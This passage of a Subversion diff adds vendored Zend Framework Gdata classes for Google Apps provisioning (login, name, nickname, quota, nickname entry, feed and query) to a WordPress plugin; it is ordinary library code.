+        if (!(is_bool($this->_agreedToTerms))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for agreedToTerms.');
+        }
+        return $this->_agreedToTerms;
+    }
+
+    /**
+     * Set the value for this element's agreedToTerms attribute. This
+     * indicates whether this user has agreed to the terms of service.
+     *
+     * @param boolean $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setAgreedToTerms($value)
+    {
+        if (!(is_bool($value))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for $value.');
+        }
+        $this->_agreedToTerms = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's suspended attribute.
+     *
+     * @see setSuspended
+     * @return boolean The requested attribute.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getSuspended()
+    {
+        if (!(is_bool($this->_suspended))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for suspended.');
+        }
+        return $this->_suspended;
+    }
+
+    /**
+     * Set the value for this element's suspended attribute. If true, the
+     * user will not be able to login to this domain until unsuspended.
+     *
+     * @param boolean $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setSuspended($value)
+    {
+        if (!(is_bool($value))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for $value.');
+        }
+        $this->_suspended = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's changePasswordAtNextLogin attribute.
+     *
+     * @see setChangePasswordAtNextLogin
+     * @return boolean The requested attribute.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getChangePasswordAtNextLogin()
+    {
+        if (!(is_bool($this->_changePasswordAtNextLogin))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for changePasswordAtNextLogin.');
+        }
+        return $this->_changePasswordAtNextLogin;
+    }
+
+    /**
+     * Set the value for this element's changePasswordAtNextLogin attribute.
+     * If true, the user will be forced to set a new password the next
+     * time they login.
+     *
+     * @param boolean $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Login Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function setChangePasswordAtNextLogin($value)
+    {
+        if (!(is_bool($value))) {
+            require_once('Zend/Gdata/App/InvalidArgumentException.php');
+            throw new Zend_Gdata_App_InvalidArgumentException('Expected boolean for $value.');
+        }
+        $this->_changePasswordAtNextLogin = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return "Username: " . $this->getUsername() .
+            "\nPassword: " . (($this->getPassword() === null) ? "NOT SET" : "SET") .
+            "\nPassword Hash Function: " . $this->getHashFunctionName() .
+            "\nAdministrator: " . ($this->getAdmin() ? "Yes" : "No") .
+            "\nAgreed To Terms: " . ($this->getAgreedToTerms() ? "Yes" : "No") .
+            "\nSuspended: " . ($this->getSuspended() ? "Yes" : "No");
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Name.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Name.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Name.php	(revision 44)
@@ -0,0 +1,180 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * Represents the apps:name element used by the Apps data API. This is used
+ * to represent a user's full name. This class is usually contained within
+ * instances of Zend_Gdata_Gapps_UserEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Extension_Name extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'apps';
+    protected $_rootElement = 'name';
+
+    /**
+     * The associated user's family name.
+     *
+     * @var string
+     */
+    protected $_familyName = null;
+
+    /**
+     * The associated user's given name.
+     *
+     * @var string
+     */
+    protected $_givenName = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Gapps_Extension_Name object.
+     *
+     * @param string $familyName (optional) The familyName to be set for this
+     *          object.
+     * @param string $givenName (optional) The givenName to be set for this
+     *          object.
+     */
+    public function __construct($familyName = null, $givenName = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct();
+        $this->_familyName = $familyName;
+        $this->_givenName = $givenName;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_familyName !== null) {
+            $element->setAttribute('familyName', $this->_familyName);
+        }
+        if ($this->_givenName !== null) {
+            $element->setAttribute('givenName', $this->_givenName);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'familyName':
+            $this->_familyName = $attribute->nodeValue;
+            break;
+        case 'givenName':
+            $this->_givenName = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's familyName attribute.
+     *
+     * @see setFamilyName
+     * @return string The requested attribute.
+     */
+    public function getFamilyName()
+    {
+        return $this->_familyName;
+    }
+
+    /**
+     * Set the value for this element's familyName attribute. This
+     * represents a user's family name.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Name Provides a fluent interface..
+     */
+    public function setFamilyName($value)
+    {
+        $this->_familyName = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's givenName attribute.
+     *
+     * @see setGivenName
+     * @return string The requested attribute.
+     */
+    public function getGivenName()
+    {
+        return $this->_givenName;
+    }
+
+    /**
+     * Set the value for this element's givenName attribute. This
+     * represents a user's given name.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Name Provides a fluent interface.
+     */
+    public function setGivenName($value)
+    {
+        $this->_givenName = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getGivenName() . ' ' . $this->getFamilyName();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Nickname.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Nickname.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Nickname.php	(revision 44)
@@ -0,0 +1,141 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * Represents the apps:nickname element used by the Apps data API. This
+ * is used to describe a nickname's properties, and is usually contained
+ * within instances of Zend_Gdata_Gapps_NicknameEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Extension_Nickname extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'apps';
+    protected $_rootElement = 'nickname';
+
+    /**
+     * The name of the nickname. This name is used as the email address
+     * for this nickname.
+     *
+     * @var string
+     */
+    protected $_name = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Gapps_Extension_Nickname object.
+     * @param string $name (optional) The nickname being represented.
+     */
+    public function __construct($name = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct();
+        $this->_name = $name;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_name !== null) {
+            $element->setAttribute('name', $this->_name);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'name':
+            $this->_name = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's name attribute.
+     *
+     * @see setName
+     * @return string The requested attribute.
+     */
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    /**
+     * Set the value for this element's name attribute. This name uniquely
+     * describes this nickname within the domain. Emails addressed to this
+     * name will be delivered to the user who owns this nickname.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Nickname Provides a fluent
+     *          interface.
+     */
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getName();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Quota.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Quota.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Extension/Quota.php	(revision 44)
@@ -0,0 +1,141 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * Represents the apps:quota element used by the Apps data API. This is
+ * used to indicate the amount of storage space available to a user. Quotas
+ * may not be able to be set, depending on the domain used. This class
+ * is usually contained within an instance of Zend_Gdata_Gapps_UserEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_Extension_Quota extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'apps';
+    protected $_rootElement = 'quota';
+
+    /**
+     * The amount of storage space available to the user in megabytes.
+     *
+     * @var integer
+     */
+    protected $_limit = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Gapps_Extension_Quota object.
+     *
+     * @param string $limit (optional) The limit, in bytes, for this quota.
+     */
+    public function __construct($limit = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct();
+        $this->_limit = $limit;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_limit !== null) {
+            $element->setAttribute('limit', $this->_limit);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'limit':
+            $this->_limit = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's limit attribute.
+     *
+     * @see setLimit
+     * @return string The requested attribute.
+     */
+    public function getLimit()
+    {
+        return $this->_limit;
+    }
+
+    /**
+     * Set the value for this element's limit attribute. This is the amount
+     * of storage space, in bytes, that should be made available to
+     * the associated user.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Gapps_Extension_Quota Provides a fluent interface.
+     */
+    public function setLimit($value)
+    {
+        $this->_limit = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getLimit();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameEntry.php	(revision 44)
@@ -0,0 +1,188 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_Login
+ */
+require_once 'Zend/Gdata/Gapps/Extension/Login.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_Nickname
+ */
+require_once 'Zend/Gdata/Gapps/Extension/Nickname.php';
+
+/**
+ * Data model class for a Google Apps Nickname Entry.
+ *
+ * Each nickname entry describes a single nickname within a Google Apps
+ * hosted domain. Each user may own several nicknames, but each nickname may
+ * only belong to one user. Multiple entries are contained within instances
+ * of Zend_Gdata_Gapps_NicknameFeed.
+ *
+ * To transfer nickname entries to and from the Google Apps servers,
+ * including creating new entries, refer to the Google Apps service class,
+ * Zend_Gdata_Gapps.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_NicknameEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Gapps_NicknameEntry';
+
+    /**
+     * <apps:login> element used to hold information about the owner
+     * of this nickname, including their username.
+     *
+     * @var Zend_Gdata_Gapps_Extension_Login
+     */
+    protected $_login = null;
+
+    /**
+     * <apps:nickname> element used to hold the name of this nickname.
+     *
+     * @var Zend_Gdata_Gapps_Extension_Nickname
+     */
+    protected $_nickname = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_login !== null) {
+            $element->appendChild($this->_login->getDOM($element->ownerDocument));
+        }
+        if ($this->_nickname !== null) {
+            $element->appendChild($this->_nickname->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('apps') . ':' . 'login';
+                $login = new Zend_Gdata_Gapps_Extension_Login();
+                $login->transferFromDOM($child);
+                $this->_login = $login;
+                break;
+            case $this->lookupNamespace('apps') . ':' . 'nickname';
+                $nickname = new Zend_Gdata_Gapps_Extension_Nickname();
+                $nickname->transferFromDOM($child);
+                $this->_nickname = $nickname;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value of the login property for this object.
+     *
+     * @see setLogin
+     * @return Zend_Gdata_Gapps_Extension_Login The requested object.
+     */
+    public function getLogin()
+    {
+        return $this->_login;
+    }
+
+    /**
+     * Set the value of the login property for this object. This property
+     * is used to store the username address of the current user.
+     *
+     * @param Zend_Gdata_Gapps_Extension_Login $value The desired value for
+     *          this instance's login property.
+     * @return Zend_Gdata_Gapps_NicknameEntry Provides a fluent interface.
+     */
+    public function setLogin($value)
+    {
+        $this->_login = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the nickname property for this object.
+     *
+     * @see setNickname
+     * @return Zend_Gdata_Gapps_Extension_Nickname The requested object.
+     */
+    public function getNickname()
+    {
+        return $this->_nickname;
+    }
+
+    /**
+     * Set the value of the nickname property for this object. This property
+     * is used to store the the name of the current nickname.
+     *
+     * @param Zend_Gdata_Gapps_Extension_Nickname $value The desired value for
+     *          this instance's nickname property.
+     * @return Zend_Gdata_Gapps_NicknameEntry Provides a fluent interface.
+     */
+    public function setNickname($value)
+    {
+        $this->_nickname = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameFeed.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_NicknameEntry
+ */
+require_once 'Zend/Gdata/Gapps/NicknameEntry.php';
+
+/**
+ * Data model for a collection of Google Apps nickname entries, usually 
+ * provided by the Google Apps servers.
+ * 
+ * For information on requesting this feed from a server, see the Google 
+ * Apps service class, Zend_Gdata_Gapps.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_NicknameFeed extends Zend_Gdata_Feed
+{
+    
+    protected $_entryClassName = 'Zend_Gdata_Gapps_NicknameEntry';
+    protected $_feedClassName = 'Zend_Gdata_Gapps_NicknameFeed';
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/NicknameQuery.php	(revision 44)
@@ -0,0 +1,185 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Query
+ */
+require_once('Zend/Gdata/Gapps/Query.php');
+
+/**
+ * Assists in constructing queries for Google Apps nickname entries. 
+ * Instances of this class can be provided in many places where a URL is 
+ * required.
+ * 
+ * For information on submitting queries to a server, see the Google Apps
+ * service class, Zend_Gdata_Gapps.
+ * 
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_NicknameQuery extends Zend_Gdata_Gapps_Query
+{
+
+    /**
+     * If not null, indicates the name of the nickname entry which 
+     * should be returned by this query.
+     * 
+     * @var string
+     */
+    protected $_nickname = null;
+
+    /**
+     * Create a new instance.
+     * 
+     * @param string $domain (optional) The Google Apps-hosted domain to use 
+     *          when constructing query URIs.
+     * @param string $nickname (optional) Value for the nickname 
+     *          property.
+     * @param string $username (optional) Value for the username 
+     *          property.
+     * @param string $startNickname (optional) Value for the 
+     *          startNickname property.
+     */
+    public function __construct($domain = null, $nickname = null, 
+            $username = null, $startNickname = null)
+    {
+        parent::__construct($domain);
+        $this->setNickname($nickname);
+        $this->setUsername($username);
+        $this->setStartNickname($startNickname);
+    }
+
+    /**
+     * Set the nickname to query for. When set, only users with a nickname 
+     * matching this value will be returned in search results. Set to 
+     * null to disable filtering by username.
+     * 
+     * @param string $value The nickname to filter search results by, or null 
+     *          to  disable.
+     */
+     public function setNickname($value)
+     {
+         $this->_nickname = $value;
+     }
+
+    /**
+     * Get the nickname to query for. If no nickname is set, null will be 
+     * returned.
+     * 
+     * @see setNickname
+     * @return string The nickname to filter search results by, or null if 
+     *              disabled.
+     */
+    public function getNickname()
+    {
+        return $this->_nickname;
+    }
+
+    /**
+     * Set the username to query for. When set, only users with a username 
+     * matching this value will be returned in search results. Set to 
+     * null to disable filtering by username.
+     * 
+     * @param string $value The username to filter search results by, or null 
+     *          to disable.
+     */
+    public function setUsername($value)
+    {
+        if ($value !== null) {
+            $this->_params['username'] = $value;
+        }
+        else {
+            unset($this->_params['username']);
+        }
+    }
+
+    /**
+     * Get the username to query for. If no username is set, null will be 
+     * returned.
+     * 
+     * @see setUsername
+     * @return string The username to filter search results by, or null if 
+     *              disabled.
+     */
+    public function getUsername()
+    {
+        if (array_key_exists('username', $this->_params)) {
+            return $this->_params['username'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Set the first nickname which should be displayed when retrieving 
+     * a list of nicknames.
+     * 
+     * @param string $value The first nickname to be returned, or null to 
+     *              disable.
+     */
+    public function setStartNickname($value)
+    {
+        if ($value !== null) {
+            $this->_params['startNickname'] = $value;
+        } else {
+            unset($this->_params['startNickname']);
+        }
+    }
+
+    /**
+     * Get the first nickname which should be displayed when retrieving 
+     * a list of nicknames.
+     * 
+     * @return string The first nickname to be returned, or null to 
+     *              disable.
+     */
+    public function getStartNickname()
+    {
+        if (array_key_exists('startNickname', $this->_params)) {
+            return $this->_params['startNickname'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL generated for this query, based on it's current 
+     * parameters.
+     * 
+     * @return string A URL generated based on the state of this query.
+     */
+    public function getQueryUrl()
+    {
+        
+        $uri = $this->getBaseUrl();
+        $uri .= Zend_Gdata_Gapps::APPS_NICKNAME_PATH;
+        if ($this->_nickname !== null) {
+            $uri .= '/' . $this->_nickname;
+        }
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/Query.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Zend_Gdata_Gapps
+ */
+require_once('Zend/Gdata/Gapps.php');
+
+/**
+ * Assists in constructing queries for Google Apps entries. This class 
+ * provides common methods used by all other Google Apps query classes.
+ *
+ * This class should never be instantiated directly. Instead, instantiate a 
+ * class which inherits from this class.
+  * 
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_Gapps_Query extends Zend_Gdata_Query
+{
+    
+    /**
+     * The domain which is being administered via the Provisioning API.
+     *
+     * @var string
+     */
